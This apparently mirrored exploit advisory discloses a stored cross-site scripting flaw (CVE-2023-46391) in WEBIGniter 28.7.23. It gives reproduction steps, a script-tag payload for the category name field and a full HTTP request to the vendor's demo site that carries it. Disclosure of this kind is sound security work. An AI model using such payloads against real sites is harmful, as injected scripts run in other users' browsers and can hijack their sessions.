Lucene search
K

WEBIGniter 28.7.23 Cross Site Scripting

🗓️ 21 Feb 2024 00:00:00Reported by Sagar BanwaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 344 Views

WEBIGniter v28.7.23 Stored Cross Site Scripting (XSS) vulnerability on demo websit

Related
Code
`# Exploit Title: WEBIGniter v28.7.23 Stored Cross Site Scripting (XSS)  
# Exploit Author: Sagar Banwa  
# Date: 19/10/2023  
# Vendor: https://webigniter.net/  
# Software: https://webigniter.net/demo  
# Reference: https://portswigger.net/web-security/cross-site-scripting  
# Tested on: Windows 10/Kali Linux  
# CVE : CVE-2023-46391  
  
  
Stored Cross-site scripting(XSS):  
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application. Reflected XSS involves the reflecting of a malicious script off of a web application, onto a user's browser.  
  
Steps-To-Reproduce:  
  
1. Login to the Account   
2. Go to the Categories.  
3. Now add catagory > Name section use payload : "><script>alert(1)</script> and choose layoutfile as cat.php  
  
  
Request   
  
POST /cms/categories/add HTTP/2  
Host: demo.webigniter.net  
Cookie: ci_session=iq8k2mjlp2dg4pqa42m3v3dn2d4lmtjb; hash=6ROmvkMoHKviB4zypWJXmjIv6vhTQlFw6bdHlRjX  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate, br  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 94  
Origin: https://demo.webigniter.net  
Referer: https://demo.webigniter.net/cms/categories/add  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
Te: trailers  
  
name=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&slug=scriptalert1script&layout_file=cat.php  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation